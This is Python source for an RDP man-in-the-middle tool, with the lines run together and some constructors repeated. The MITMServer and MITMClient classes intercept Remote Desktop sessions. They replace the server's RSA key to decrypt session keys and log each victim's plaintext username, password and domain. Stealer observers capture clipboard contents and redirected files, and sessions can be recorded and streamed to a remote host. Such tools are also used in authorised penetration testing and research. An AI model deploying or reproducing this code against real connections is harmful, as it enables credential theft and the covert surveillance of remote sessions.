def __init__(self): self.tcp = TwistedTCPLayer() self.segmentation = SegmentationLayer() self.tpkt = TPKTLayer() self.x224 = X224Layer() self.mcs = MCSLayer() self.security: SecurityLayer = None self.slowPath = SlowPathLayer() self.fastPath: FastPathLayer = None self.tcp.setNext(self.segmentation) self.segmentation.attachLayer(SegmentationPDUType.TPKT, self.tpkt) LayerChainItem.chain(self.tpkt, self.x224, self.mcs)
def __init__(self, friendlyName: str, targetHost: str, targetPort: int, certificateFileName: str, privateKeyFileName: str, recordHost: str, recordPort: int, replacementUsername: str, replacementPassword: str): MCSUserObserver.__init__(self) self.sessionId = f"{friendlyName}{random.randrange(100000,999999)}" self.log = getLoggerPassFilters( f"{LOGGER_NAMES.MITM_CONNECTIONS}.{self.sessionId}.server") self.metadataFilter = ConnectionMetadataFilter(self, self.sessionId) self.log.addFilter(self.metadataFilter) self.replacementPassword = replacementPassword self.replacementUsername = replacementUsername self.targetHost = targetHost self.targetPort = targetPort self.certificateFileName = certificateFileName self.privateKeyFileName = privateKeyFileName self.clipboardObserver = None self.useTLS = False self.client: MITMClient = None self.clientConnector = None self.originalNegotiationPDU = None self.targetNegotiationPDU = None self.serverData = None self.rc4RSAKey = RSA.generate(2048) self.crypter = RC4CrypterProxy() self.socket = None self.fileHandle = open( "out/rdp_replay_{}_{}.pyrdp".format( datetime.datetime.now().strftime('%Y%m%d_%H-%M-%S'), random.randint(0, 1000)), "wb") rc4Log = getLoggerPassFilters(f"{self.log.name}.rc4") self.securitySettings = SecuritySettings(SecuritySettings.Mode.SERVER) self.securitySettings.addObserver(self.crypter) self.securitySettings.addObserver(RC4LoggingObserver(rc4Log)) self.tcp = TwistedTCPLayer() self.tcp.createObserver(onConnection=self.onConnection, onDisconnection=self.onDisconnection) self.segmentation = SegmentationLayer() self.segmentation.createObserver( onUnknownHeader=self.onUnknownTPKTHeader) self.tpkt = TPKTLayer() self.x224 = X224Layer() self.x224.createObserver(onConnectionRequest=self.onConnectionRequest, onDisconnectRequest=self.onDisconnectRequest) self.mcs = MCSLayer() self.router = MITMServerRouter(self.mcs, self) self.mcs.addObserver(self.router) self.router.createObserver( onConnectionReceived=self.onConnectInitial, onDisconnectProviderUltimatum=self.onDisconnectProviderUltimatum, onAttachUserRequest=self.onAttachUserRequest, onChannelJoinRequest=self.onChannelJoinRequest) self.gcc = GCCParser() self.rdpClientInfoParser = ClientInfoParser() self.rdpClientConnectionParser = ClientConnectionParser() self.rdpServerConnectionParser = ServerConnectionParser() self.securityLayer = None self.slowPathLayer = SlowPathLayer() self.fastPathLayer = None self.tcp.setNext(self.segmentation) self.segmentation.attachLayer(SegmentationPDUType.TPKT, self.tpkt) Layer.chain(self.tpkt, self.x224, self.mcs) if recordHost is not None and recordPort is not None: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: self.socket.connect((recordHost, recordPort)) except socket.error as e: logging.getLogger(LOGGER_NAMES.MITM).error( "Could not connect to liveplayer: %(error)s", {"error": e}) self.socket.close() self.socket = None recordingLayers = [FileLayer(self.fileHandle)] if self.socket is not None: recordingLayers.append(SocketLayer(self.socket)) # Since we're intercepting communications from the original client (so we're a server), # We need to write back the packets as if they came from the client. self.recorder = Recorder(recordingLayers)
class MITMServer(MCSUserObserver, MCSChannelFactory): def __init__(self, friendlyName: str, targetHost: str, targetPort: int, certificateFileName: str, privateKeyFileName: str, recordHost: str, recordPort: int, replacementUsername: str, replacementPassword: str): MCSUserObserver.__init__(self) self.sessionId = f"{friendlyName}{random.randrange(100000,999999)}" self.log = getLoggerPassFilters( f"{LOGGER_NAMES.MITM_CONNECTIONS}.{self.sessionId}.server") self.metadataFilter = ConnectionMetadataFilter(self, self.sessionId) self.log.addFilter(self.metadataFilter) self.replacementPassword = replacementPassword self.replacementUsername = replacementUsername self.targetHost = targetHost self.targetPort = targetPort self.certificateFileName = certificateFileName self.privateKeyFileName = privateKeyFileName self.clipboardObserver = None self.useTLS = False self.client: MITMClient = None self.clientConnector = None self.originalNegotiationPDU = None self.targetNegotiationPDU = None self.serverData = None self.rc4RSAKey = RSA.generate(2048) self.crypter = RC4CrypterProxy() self.socket = None self.fileHandle = open( "out/rdp_replay_{}_{}.pyrdp".format( datetime.datetime.now().strftime('%Y%m%d_%H-%M-%S'), random.randint(0, 1000)), "wb") rc4Log = getLoggerPassFilters(f"{self.log.name}.rc4") self.securitySettings = SecuritySettings(SecuritySettings.Mode.SERVER) self.securitySettings.addObserver(self.crypter) self.securitySettings.addObserver(RC4LoggingObserver(rc4Log)) self.tcp = TwistedTCPLayer() self.tcp.createObserver(onConnection=self.onConnection, onDisconnection=self.onDisconnection) self.segmentation = SegmentationLayer() self.segmentation.createObserver( onUnknownHeader=self.onUnknownTPKTHeader) self.tpkt = TPKTLayer() self.x224 = X224Layer() self.x224.createObserver(onConnectionRequest=self.onConnectionRequest, onDisconnectRequest=self.onDisconnectRequest) self.mcs = MCSLayer() self.router = MITMServerRouter(self.mcs, self) self.mcs.addObserver(self.router) self.router.createObserver( onConnectionReceived=self.onConnectInitial, onDisconnectProviderUltimatum=self.onDisconnectProviderUltimatum, onAttachUserRequest=self.onAttachUserRequest, onChannelJoinRequest=self.onChannelJoinRequest) self.gcc = GCCParser() self.rdpClientInfoParser = ClientInfoParser() self.rdpClientConnectionParser = ClientConnectionParser() self.rdpServerConnectionParser = ServerConnectionParser() self.securityLayer = None self.slowPathLayer = SlowPathLayer() self.fastPathLayer = None self.tcp.setNext(self.segmentation) self.segmentation.attachLayer(SegmentationPDUType.TPKT, self.tpkt) Layer.chain(self.tpkt, self.x224, self.mcs) if recordHost is not None and recordPort is not None: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: self.socket.connect((recordHost, recordPort)) except socket.error as e: logging.getLogger(LOGGER_NAMES.MITM).error( "Could not connect to liveplayer: %(error)s", {"error": e}) self.socket.close() self.socket = None recordingLayers = [FileLayer(self.fileHandle)] if self.socket is not None: recordingLayers.append(SocketLayer(self.socket)) # Since we're intercepting communications from the original client (so we're a server), # We need to write back the packets as if they came from the client. self.recorder = Recorder(recordingLayers) def getSessionId(self): return self.sessionId def getProtocol(self): return self.tcp def getNegotiationPDU(self): return self.targetNegotiationPDU def connectClient(self): # Connect the client side to the target machine self.clientConnector = reactor.connectTCP( self.targetHost, self.targetPort, MITMClientFactory(self, self.fileHandle, self.socket, self.replacementUsername, self.replacementPassword)) def setClient(self, client: MITMClient): self.client = client def onConnection(self): # Connection sequence #0 clientInfo = self.tcp.transport.client self.log.info("TCP connected from %(arg1)s:%(arg2)s", { "arg1": clientInfo[0], "arg2": clientInfo[1] }) def onDisconnection(self, reason): """ Record the end of the connection, close everything and delete the replay file if its too small (no useful information) """ self.recorder.record(None, PlayerMessageType.CONNECTION_CLOSE) self.log.info("Connection closed: %(arg1)s", {"arg1": reason}) if self.client: self.client.disconnect() self.disconnectConnector() fileSize = self.fileHandle.tell() fileName = self.fileHandle.name self.fileHandle.close() if fileSize < 16: try: os.remove(fileName) except Exception as e: logging.getLogger(LOGGER_NAMES.MITM).error( "Can't delete small replay file %(replayFile)s: %(error)s", { "replayFile": fileName, "error": e }) def onDisconnectRequest(self, pdu): self.log.debug("X224 Disconnect Request received") self.disconnect() def onDisconnectProviderUltimatum(self, pdu): self.log.debug("Disconnect Provider Ultimatum PDU received") self.disconnect() def disconnect(self): self.log.debug("Disconnecting") self.disconnectConnector() self.tcp.disconnect() self.log.removeFilter(self.metadataFilter) if self.socket is not None: self.socket.close() def disconnectConnector(self): if self.clientConnector: self.clientConnector.disconnect() self.clientConnector = None def onUnknownTPKTHeader(self, header): self.log.error( "Closing the connection because an unknown TPKT header was received. Header: 0x%(header)02lx", {"header": header}) self.disconnect() def onConnectionRequest(self, pdu): # X224 Request self.log.debug("Connection Request received") # We need to save the original negotiation PDU because Windows will cut the connection if it # sees that the requested protocols have changed. parser = NegotiationRequestParser() self.originalNegotiationPDU = parser.parse(pdu.payload) if self.originalNegotiationPDU.cookie: self.log.info( "%(cookie)s", {"cookie": self.originalNegotiationPDU.cookie.decode()}) else: self.log.info("No cookie for this connection %(cookie)s", {"cookie": ""}) # Only SSL is implemented, so remove other protocol flags chosenProtocols = self.originalNegotiationPDU.requestedProtocols & NegotiationProtocols.SSL \ if self.originalNegotiationPDU.requestedProtocols is not None else None self.targetNegotiationPDU = NegotiationRequestPDU( self.originalNegotiationPDU.cookie, self.originalNegotiationPDU.flags, chosenProtocols, self.originalNegotiationPDU.correlationFlags, self.originalNegotiationPDU.correlationID, ) self.connectClient() def onConnectionConfirm(self, _): # X224 Response protocols = NegotiationProtocols.SSL if self.originalNegotiationPDU.tlsSupported else NegotiationProtocols.NONE parser = NegotiationResponseParser() payload = parser.write( NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, protocols)) self.x224.sendConnectionConfirm(payload, source=0x1234) if self.originalNegotiationPDU.tlsSupported: self.tcp.startTLS( ServerTLSContext(privateKeyFileName=self.privateKeyFileName, certificateFileName=self.certificateFileName)) self.useTLS = True def onConnectInitial(self, pdu): # MCS Connect Initial """ Parse the ClientData PDU and send a ServerData PDU back. :param pdu: The GCC ConferenceCreateResponse PDU that contains the ClientData PDU. """ self.log.debug("Connect Initial received") gccConferenceCreateRequestPDU: GCCConferenceCreateRequestPDU = self.gcc.parse( pdu.payload) # FIPS is not implemented, so remove this flag if it's set rdpClientDataPdu = self.rdpClientConnectionParser.parse( gccConferenceCreateRequestPDU.payload) rdpClientDataPdu.securityData.encryptionMethods &= ~EncryptionMethod.ENCRYPTION_FIPS rdpClientDataPdu.securityData.extEncryptionMethods &= ~EncryptionMethod.ENCRYPTION_FIPS # This disables the support for the Graphics pipeline extension, which is a completely different way to # transfer graphics from server to client. https://msdn.microsoft.com/en-us/library/dn366933.aspx rdpClientDataPdu.coreData.earlyCapabilityFlags &= ~ClientCapabilityFlag.RNS_UD_CS_SUPPORT_DYNVC_GFX_PROTOCOL # Remove 24bpp and 32bpp support, fall back to 16bpp. # 2018-12-14: This is only there because there is a bug in the pyrdp player where 24bpp # decompression in rle.c causes random crashes. If this bug is fixed, we could remove this. rdpClientDataPdu.coreData.supportedColorDepths &= ~SupportedColorDepth.RNS_UD_32BPP_SUPPORT rdpClientDataPdu.coreData.supportedColorDepths &= ~SupportedColorDepth.RNS_UD_24BPP_SUPPORT rdpClientDataPdu.coreData.highColorDepth &= ~HighColorDepth.HIGH_COLOR_24BPP if rdpClientDataPdu.coreData.highColorDepth == 0: # Means the requested color depth was 24bpp, fallback to 16bpp rdpClientDataPdu.coreData.highColorDepth |= HighColorDepth.HIGH_COLOR_16BPP self.client.onConnectInitial(gccConferenceCreateRequestPDU, rdpClientDataPdu) return True def onConnectResponse(self, pdu, serverData): # MCS Connect Response """ :type pdu: MCSConnectResponsePDU :type serverData: ServerDataPDU """ if pdu.result != 0: self.mcs.send(pdu) return # Replace the server's public key with our own key so we can decrypt the incoming client random cert = serverData.security.serverCertificate if cert: cert = ProprietaryCertificate(cert.signatureAlgorithmID, cert.keyAlgorithmID, cert.publicKeyType, self.rc4RSAKey, cert.signatureType, cert.signature, cert.padding) security = ServerSecurityData( # FIPS is not implemented so avoid using that serverData.security.encryptionMethod if serverData.security.encryptionMethod != EncryptionMethod.ENCRYPTION_FIPS else EncryptionMethod.ENCRYPTION_128BIT, serverData.security.encryptionLevel if serverData.security.encryptionLevel != EncryptionLevel.ENCRYPTION_LEVEL_FIPS else EncryptionLevel.ENCRYPTION_LEVEL_HIGH, serverData.security.serverRandom, cert) serverData.core.clientRequestedProtocols = self.originalNegotiationPDU.requestedProtocols self.securitySettings.serverSecurityReceived(security) self.serverData = ServerDataPDU(serverData.core, security, serverData.network) rdpParser = ServerConnectionParser() gccParser = GCCParser() gcc = self.client.conferenceCreateResponse gcc = GCCConferenceCreateResponsePDU(gcc.nodeID, gcc.tag, gcc.result, rdpParser.write(self.serverData)) pdu = MCSConnectResponsePDU(pdu.result, pdu.calledConnectID, pdu.domainParams, gccParser.write(gcc)) self.mcs.send(pdu) def onAttachUserRequest(self, _): # MCS Attach User Request self.client.onAttachUserRequest() def onAttachConfirmed(self, user): # MCS Attach User Confirm successful self.router.sendAttachUserConfirm(True, user.userID) def onAttachRefused(self, user, result): # MCS Attach User Confirm failed self.router.sendAttachUserConfirm(False, result) def onChannelJoinRequest(self, pdu): # MCS Channel Join Request self.client.onChannelJoinRequest(pdu) def onChannelJoinAccepted(self, userID, channelID): # MCS Channel Join Confirm successful self.router.sendChannelJoinConfirm(0, userID, channelID) def onChannelJoinRefused(self, user, result, channelID): # MCS Channel Join Confirm failed self.log.debug("Refusing to connect channelId %(channelId)d", {"channelId": channelID}) self.router.sendChannelJoinConfirm(result, user.userID, channelID) def buildChannel(self, mcs, userID, channelID): self.log.debug("building channel %(arg1)s for user %(arg2)d", { "arg1": channelID, "arg2": userID }) channelMap = self.client.channelMap if channelID == self.serverData.network.mcsChannelID: return self.buildIOChannel(mcs, userID, channelID) elif channelID in channelMap.keys( ) and channelMap[channelID] == VirtualChannelName.CLIPBOARD: return self.buildClipboardChannel(mcs, userID, channelID) elif channelID in channelMap.keys( ) and channelMap[channelID] == VirtualChannelName.DEVICE_REDIRECTION: return self.buildDeviceRedirectionChannel(mcs, userID, channelID) else: return self.buildVirtualChannel(mcs, userID, channelID) def createSecurityLayer(self): encryptionMethod = self.serverData.security.encryptionMethod if self.useTLS: return TLSSecurityLayer() else: return SecurityLayer.create(encryptionMethod, self.crypter) def buildVirtualChannel(self, mcs: MCSLayer, userID: int, channelID: int) -> MCSServerChannel: channel = MCSServerChannel(mcs, userID, channelID) securityLayer = self.createSecurityLayer() rawLayer = RawLayer() Layer.chain(channel, securityLayer, rawLayer) peer = self.client.getChannelObserver(channelID) observer = MITMVirtualChannelObserver(rawLayer) observer.setPeer(peer) rawLayer.addObserver(observer) return channel def buildClipboardChannel(self, mcs: MCSLayer, userID: int, channelID: int) -> MCSServerChannel: """ :type mcs: MCSLayer :param userID: The mcs user that builds the channel :param channelID: The channel ID to use to communicate in that channel :return: MCSServerChannel that handles the Clipboard virtual channel traffic from the client to the MITM. """ # Create all necessary layers channel = MCSServerChannel(mcs, userID, channelID) securityLayer = self.createSecurityLayer() virtualChannelLayer = VirtualChannelLayer() clipboardLayer = ClipboardLayer() Layer.chain(channel, securityLayer, virtualChannelLayer, clipboardLayer) # Create and link the MITM Observer for the server side to the clipboard layer. # Also link both MITM Observers (client and server) so they can send traffic the other way. peer = self.client.getChannelObserver(channelID) passiveClipboardObserver = PassiveClipboardStealer( clipboardLayer, self.recorder, self.log) peer.passiveClipboardObserver = passiveClipboardObserver passiveClipboardObserver.setPeer(peer) clipboardLayer.addObserver(passiveClipboardObserver) return channel def buildDeviceRedirectionChannel(self, mcs: MCSLayer, userID: int, channelID: int) -> MCSServerChannel: """ :type mcs: MCSLayer :param userID: The mcs user that builds the channel :param channelID: The channel ID to use to communicate in that channel :return: MCSServerChannel that handles the device redirection virtual channel traffic from the client to the MITM. """ # Create all necessary layers channel = MCSServerChannel(mcs, userID, channelID) securityLayer = self.createSecurityLayer() virtualChannelLayer = VirtualChannelLayer( activateShowProtocolFlag=False) deviceRedirectionLayer = DeviceRedirectionLayer() Layer.chain(channel, securityLayer, virtualChannelLayer, deviceRedirectionLayer) # Create and link the MITM Observer for the server side to the device redirection layer. # Also link both MITM Observers (client and server) so they can send traffic the other way. peer = self.client.getChannelObserver(channelID) observer = PassiveFileStealerServer( deviceRedirectionLayer, self.recorder, self.client.deviceRedirectionObserver, self.log) observer.setPeer(peer) deviceRedirectionLayer.addObserver(observer) return channel def buildIOChannel(self, mcs: MCSLayer, userID: int, channelID: int) -> MCSServerChannel: encryptionMethod = self.serverData.security.encryptionMethod self.securityLayer = self.createSecurityLayer() self.securityLayer.createObserver( onClientInfoReceived=self.onClientInfoReceived, onSecurityExchangeReceived=self.onSecurityExchangeReceived, onLicensingDataReceived=self.onLicensingDataReceived) slowPathObserver = MITMSlowPathObserver( self.log, self.slowPathLayer, onConfirmActive=self.onConfirmActive) slowPathObserver.setDataHandler(SlowPathDataType.PDUTYPE2_INPUT, self.onInputPDUReceived) clientObserver = self.client.getChannelObserver(channelID) slowPathObserver.setPeer(clientObserver) self.slowPathLayer.addObserver(slowPathObserver) self.slowPathLayer.addObserver(RecordingSlowPathObserver( self.recorder)) fastPathParser = createFastPathParser(self.useTLS, encryptionMethod, self.crypter, ParserMode.SERVER) self.fastPathLayer = FastPathLayer(fastPathParser) fastPathObserver = MITMFastPathObserver(self.log, self.fastPathLayer) fastPathObserver.setPeer(self.client.getFastPathObserver()) self.fastPathLayer.addObserver(fastPathObserver) self.fastPathLayer.addObserver( RecordingFastPathObserver(self.recorder, PlayerMessageType.FAST_PATH_INPUT)) channel = MCSServerChannel(mcs, userID, channelID) Layer.chain(channel, self.securityLayer, self.slowPathLayer) self.segmentation.attachLayer(SegmentationPDUType.FAST_PATH, self.fastPathLayer) if self.useTLS: self.securityLayer.securityHeaderExpected = True return channel def onConfirmActive(self, pdu): # Force RDP server to send bitmap events instead of order events. pdu.parsedCapabilitySets[CapabilityType.CAPSTYPE_ORDER].orderFlags = OrderFlag.NEGOTIATEORDERSUPPORT \ | OrderFlag.ZEROBOUNDSDELTASSUPPORT pdu.parsedCapabilitySets[ CapabilityType.CAPSTYPE_ORDER].orderSupport = b"\x00" * 32 # Disable virtual channel compression if CapabilityType.CAPSTYPE_VIRTUALCHANNEL in pdu.parsedCapabilitySets: pdu.parsedCapabilitySets[ CapabilityType.CAPSTYPE_VIRTUALCHANNEL].flags = 0 # Override the bitmap cache capability set with null values. if CapabilityType.CAPSTYPE_BITMAPCACHE in pdu.parsedCapabilitySets: pdu.parsedCapabilitySets[CapabilityType.CAPSTYPE_BITMAPCACHE] =\ Capability(CapabilityType.CAPSTYPE_BITMAPCACHE, b"\x00" * 36) # Disable surface commands if CapabilityType.CAPSETTYPE_SURFACE_COMMANDS in pdu.parsedCapabilitySets: pdu.parsedCapabilitySets[ CapabilityType.CAPSETTYPE_SURFACE_COMMANDS].cmdFlags = 0 # Security Exchange def onSecurityExchangeReceived(self, pdu): """ :type pdu: RDPSecurityExchangePDU :return: """ self.log.debug("Security Exchange received") clientRandom = self.rc4RSAKey.decrypt(pdu.clientRandom[::-1])[::-1] self.securitySettings.setClientRandom(clientRandom) # Client Info Packet def onClientInfoReceived(self, data: bytes): """ Called when client info data is received. Record the PDU and send it to the MITMClient. """ pdu = ClientInfoParser().parse(data) clientAddress = None if pdu.extraInfo: clientAddress = decodeUTF16LE(pdu.extraInfo.clientAddress) self.log.info("Client address: %(clientAddress)s", {"clientAddress": clientAddress}) self.log.debug("Client Info received: %(clientInfoPDU)s", {"clientInfoPDU": pdu}) hasExtraInfo = pdu.extraInfo is not None self.log.info( "CLIENT INFO RECEIVED.\n" "USER: %(username)s\n" "PASSWORD: %(password)s\n" "DOMAIN: %(domain)s\n" "LOCAL IP ADDR: %(localIpAddress)s", { "username": pdu.username, "password": pdu.password, "domain": pdu.domain, "localIpAddress": pdu.extraInfo.clientAddress if hasExtraInfo else None }) self.recorder.record(pdu, PlayerMessageType.CLIENT_INFO) self.client.onClientInfoPDUReceived(pdu) def onLicensingDataReceived(self, data): self.log.debug("Sending Licensing data") if self.useTLS: self.securityLayer.securityHeaderExpected = False self.securityLayer.sendLicensing(data) def sendDisconnectProviderUltimatum(self, pdu): self.mcs.send(pdu) def onInputPDUReceived(self, pdu): # Unsure if still useful for event in pdu.events: if event.messageType == InputEventType.INPUT_EVENT_SCANCODE: self.log.debug("Key pressed: 0x%2lx" % event.keyCode) elif event.messageType == InputEventType.INPUT_EVENT_MOUSE: self.log.debug("Mouse position: x = %d, y = %d" % (event.x, event.y))
def __init__(self, server, fileHandle: BinaryIO, livePlayerSocket: socket, replacementUsername=None, replacementPassword=None): MCSChannelFactory.__init__(self) self.log = getLoggerPassFilters( f"{LOGGER_NAMES.MITM_CONNECTIONS}.{server.getSessionId()}.client") self.log.addFilter(server.metadataFilter) self.replacementUsername = replacementUsername self.replacementPassword = replacementPassword self.server = server self.channelMap: Dict[int, str] = {} self.channelDefinitions = [] self.channelObservers = {} self.deviceRedirectionObserver = None self.useTLS = False self.user = None self.fastPathObserver = None self.conferenceCreateResponse = None self.serverData = None self.crypter = RC4CrypterProxy() rc4Log = getLoggerPassFilters(f"{self.log.name}.rc4") self.securitySettings = SecuritySettings(SecuritySettings.Mode.CLIENT) self.securitySettings.addObserver(self.crypter) self.securitySettings.addObserver(RC4LoggingObserver(rc4Log)) self.tcp = TwistedTCPLayer() self.tcp.createObserver(onConnection=self.startConnection, onDisconnection=self.onDisconnection) self.segmentation = SegmentationLayer() self.segmentation.createObserver( onUnknownHeader=self.onUnknownTPKTHeader) self.tpkt = TPKTLayer() self.x224 = X224Layer() self.x224.createObserver(onConnectionConfirm=self.onConnectionConfirm, onDisconnectRequest=self.onDisconnectRequest) self.mcs = MCSLayer() self.router = MCSClientRouter(self.mcs, self) self.mcs.addObserver(self.router) self.router.createObserver( onConnectResponse=self.onConnectResponse, onDisconnectProviderUltimatum=self.onDisconnectProviderUltimatum) self.mcsConnect = MCSClientConnectionLayer(self.mcs) self.gccConnect = GCCClientConnectionLayer(b"1") self.gccConnect.createObserver( onPDUReceived=self.onConferenceCreateResponse) self.rdpConnect = ClientConnectionLayer() self.rdpConnect.createObserver(onPDUReceived=self.onServerData) self.securityLayer = None self.slowPathLayer = SlowPathLayer() self.fastPathLayer = None self.tcp.setNext(self.segmentation) self.segmentation.attachLayer(SegmentationPDUType.TPKT, self.tpkt) Layer.chain(self.tpkt, self.x224, self.mcs) Layer.chain(self.mcsConnect, self.gccConnect, self.rdpConnect) record_layers = [FileLayer(fileHandle)] if livePlayerSocket is not None: record_layers.append(SocketLayer(livePlayerSocket)) self.recorder = Recorder(record_layers)
class MITMClient(MCSChannelFactory, MCSUserObserver): def __init__(self, server, fileHandle: BinaryIO, livePlayerSocket: socket, replacementUsername=None, replacementPassword=None): MCSChannelFactory.__init__(self) self.log = getLoggerPassFilters( f"{LOGGER_NAMES.MITM_CONNECTIONS}.{server.getSessionId()}.client") self.log.addFilter(server.metadataFilter) self.replacementUsername = replacementUsername self.replacementPassword = replacementPassword self.server = server self.channelMap: Dict[int, str] = {} self.channelDefinitions = [] self.channelObservers = {} self.deviceRedirectionObserver = None self.useTLS = False self.user = None self.fastPathObserver = None self.conferenceCreateResponse = None self.serverData = None self.crypter = RC4CrypterProxy() rc4Log = getLoggerPassFilters(f"{self.log.name}.rc4") self.securitySettings = SecuritySettings(SecuritySettings.Mode.CLIENT) self.securitySettings.addObserver(self.crypter) self.securitySettings.addObserver(RC4LoggingObserver(rc4Log)) self.tcp = TwistedTCPLayer() self.tcp.createObserver(onConnection=self.startConnection, onDisconnection=self.onDisconnection) self.segmentation = SegmentationLayer() self.segmentation.createObserver( onUnknownHeader=self.onUnknownTPKTHeader) self.tpkt = TPKTLayer() self.x224 = X224Layer() self.x224.createObserver(onConnectionConfirm=self.onConnectionConfirm, onDisconnectRequest=self.onDisconnectRequest) self.mcs = MCSLayer() self.router = MCSClientRouter(self.mcs, self) self.mcs.addObserver(self.router) self.router.createObserver( onConnectResponse=self.onConnectResponse, onDisconnectProviderUltimatum=self.onDisconnectProviderUltimatum) self.mcsConnect = MCSClientConnectionLayer(self.mcs) self.gccConnect = GCCClientConnectionLayer(b"1") self.gccConnect.createObserver( onPDUReceived=self.onConferenceCreateResponse) self.rdpConnect = ClientConnectionLayer() self.rdpConnect.createObserver(onPDUReceived=self.onServerData) self.securityLayer = None self.slowPathLayer = SlowPathLayer() self.fastPathLayer = None self.tcp.setNext(self.segmentation) self.segmentation.attachLayer(SegmentationPDUType.TPKT, self.tpkt) Layer.chain(self.tpkt, self.x224, self.mcs) Layer.chain(self.mcsConnect, self.gccConnect, self.rdpConnect) record_layers = [FileLayer(fileHandle)] if livePlayerSocket is not None: record_layers.append(SocketLayer(livePlayerSocket)) self.recorder = Recorder(record_layers) def getProtocol(self): return self.tcp def startConnection(self): """ Start the connection sequence to the target machine. """ self.log.debug("TCP connected") negotiation = self.server.getNegotiationPDU() parser = NegotiationRequestParser() self.x224.sendConnectionRequest(parser.write(negotiation)) def onDisconnection(self, reason): self.log.debug(f"Connection closed: {reason}") self.server.disconnect() self.log.removeFilter(self.server.metadataFilter) def onDisconnectRequest(self, pdu): self.log.debug("X224 Disconnect Request received") self.disconnect() def disconnect(self): self.log.debug("Disconnecting") self.tcp.disconnect() def onUnknownTPKTHeader(self, header): self.log.error( "Closing the connection because an unknown TPKT header was received. Header: 0x%(header)02lx", {"header": header}) self.disconnect() def onConnectionConfirm(self, pdu): """ Called when the X224 layer is connected. """ self.log.debug("Connection Confirm received") parser = NegotiationResponseParser() response = parser.parse(pdu.payload) if response.type == NegotiationType.TYPE_RDP_NEG_FAILURE: self.log.error( "Server returned a TYPE_RDP_NEG_FAILURE packet, most likely because NLA is " "enforced by the server and the MITM does not handle NLA.") if response.tlsSelected: self.tcp.startTLS(ClientTLSContext()) self.useTLS = True self.server.onConnectionConfirm(pdu) def onConnectInitial( self, gccConferenceCreateRequest: GCCConferenceCreateRequestPDU, clientData: ClientDataPDU): """ Called when a Connect Initial PDU is received. :param gccConferenceCreateRequest: the conference create request. :param clientData: the RDPClientDataPDU. """ self.log.info( "Client Data received with client name " "%(clientName)s, resolution %(desktopWidth)dx%(desktopHeight)d", { "clientName": clientData.coreData.clientName, "desktopWidth": clientData.coreData.desktopWidth, "desktopHeight": clientData.coreData.desktopHeight }) self.recorder.record(clientData, PlayerMessageType.CLIENT_DATA) clientData.coreData.earlyCapabilityFlags &= ~ClientCapabilityFlag.RNS_UD_CS_WANT_32BPP_SESSION if clientData.networkData: self.channelDefinitions = clientData.networkData.channelDefinitions self.gccConnect.conferenceName = gccConferenceCreateRequest.conferenceName self.rdpConnect.send(clientData) def onConnectResponse(self, pdu): """ Called when an MCS Connect Response PDU is received. """ if pdu.result != 0: self.log.error("MCS Connection Failed") self.server.onConnectResponse(pdu, None) else: self.log.debug("MCS Connection Successful") self.mcsConnect.recv(pdu) self.server.onConnectResponse(pdu, self.serverData) def onConferenceCreateResponse(self, pdu): """ Called when a GCC Conference Create Response is received. :param pdu: the conference response PDU :type pdu: GCCConferenceCreateResponsePDU """ self.conferenceCreateResponse = pdu def onServerData(self, serverData: ServerDataPDU): """ Called when the server data from the GCC Conference Create Response is received. """ self.serverData = serverData self.securitySettings.generateClientRandom() self.securitySettings.serverSecurityReceived(serverData.security) self.channelMap[self.serverData.network.mcsChannelID] = "I/O" for index in range(len(serverData.network.channels)): channelID = serverData.network.channels[index] self.channelMap[channelID] = self.channelDefinitions[index].name def onAttachUserRequest(self): self.user = self.router.createUser() self.user.addObserver(self) self.user.attach() def onAttachConfirmed(self, user): # MCS Attach User Confirm successful self.server.onAttachConfirmed(user) def onAttachRefused(self, user, result): # MCS Attach User Confirm failed self.server.onAttachRefused(user, result) def onChannelJoinRequest(self, pdu: MCSChannelJoinRequestPDU): self.mcs.send(pdu) def buildChannel(self, mcs, userID, channelID): channelName = self.channelMap.get(channelID, None) channelLog = channelName + " (%d)" % channelID if channelName else channelID self.log.debug("building channel %(arg1)s for user %(arg2)d", { "arg1": channelLog, "arg2": userID }) if channelName == "I/O": channel = self.buildIOChannel(mcs, userID, channelID) elif channelName == VirtualChannelName.CLIPBOARD: channel = self.buildClipboardChannel(mcs, userID, channelID) elif channelName == VirtualChannelName.DEVICE_REDIRECTION: channel = self.buildDeviceRedirectionChannel( mcs, userID, channelID) else: channel = self.buildVirtualChannel(mcs, userID, channelID) self.server.onChannelJoinAccepted(userID, channelID) return channel def createSecurityLayer(self): encryptionMethod = self.serverData.security.encryptionMethod if self.useTLS: return TLSSecurityLayer() else: return SecurityLayer.create(encryptionMethod, self.crypter) def buildVirtualChannel(self, mcs, userID, channelID) -> MCSClientChannel: channel = MCSClientChannel(mcs, userID, channelID) securityLayer = self.createSecurityLayer() rawLayer = RawLayer() Layer.chain(channel, securityLayer, rawLayer) observer = MITMVirtualChannelObserver(rawLayer) rawLayer.addObserver(observer) self.channelObservers[channelID] = observer return channel def buildClipboardChannel(self, mcs: MCSLayer, userID: int, channelID: int) -> MCSClientChannel: """ :param mcs: The MCS Layer to transport traffic :param userID: The mcs user that builds the channel :param channelID: The channel ID to use to communicate in that channel :return: MCSClientChannel that handles the Clipboard virtual channel traffic from the server to the MITM. """ # Create all necessary layers channel = MCSClientChannel(mcs, userID, channelID) securityLayer = self.createSecurityLayer() virtualChannelLayer = VirtualChannelLayer() clipboardLayer = ClipboardLayer() Layer.chain(channel, securityLayer, virtualChannelLayer, clipboardLayer) # Create and link the MITM Observer for the client side to the clipboard layer. activeClipboardObserver = ActiveClipboardStealer( clipboardLayer, self.recorder, self.log) clipboardLayer.addObserver(activeClipboardObserver) self.channelObservers[channelID] = activeClipboardObserver return channel def buildDeviceRedirectionChannel(self, mcs: MCSLayer, userID: int, channelID: int) -> MCSClientChannel: """ :param mcs: The MCS Layer to transport traffic :param userID: The mcs user that builds the channel :param channelID: The channel ID to use to communicate in that channel :return: MCSClientChannel that handles the Device redirection virtual channel traffic from the server to the MITM. """ # Create all necessary layers channel = MCSClientChannel(mcs, userID, channelID) securityLayer = self.createSecurityLayer() virtualChannelLayer = VirtualChannelLayer( activateShowProtocolFlag=False) deviceRedirectionLayer = DeviceRedirectionLayer() Layer.chain(channel, securityLayer, virtualChannelLayer, deviceRedirectionLayer) # Create and link the MITM Observer for the client side to the device redirection layer. self.deviceRedirectionObserver = PassiveFileStealerClient( deviceRedirectionLayer, self.recorder, self.log) 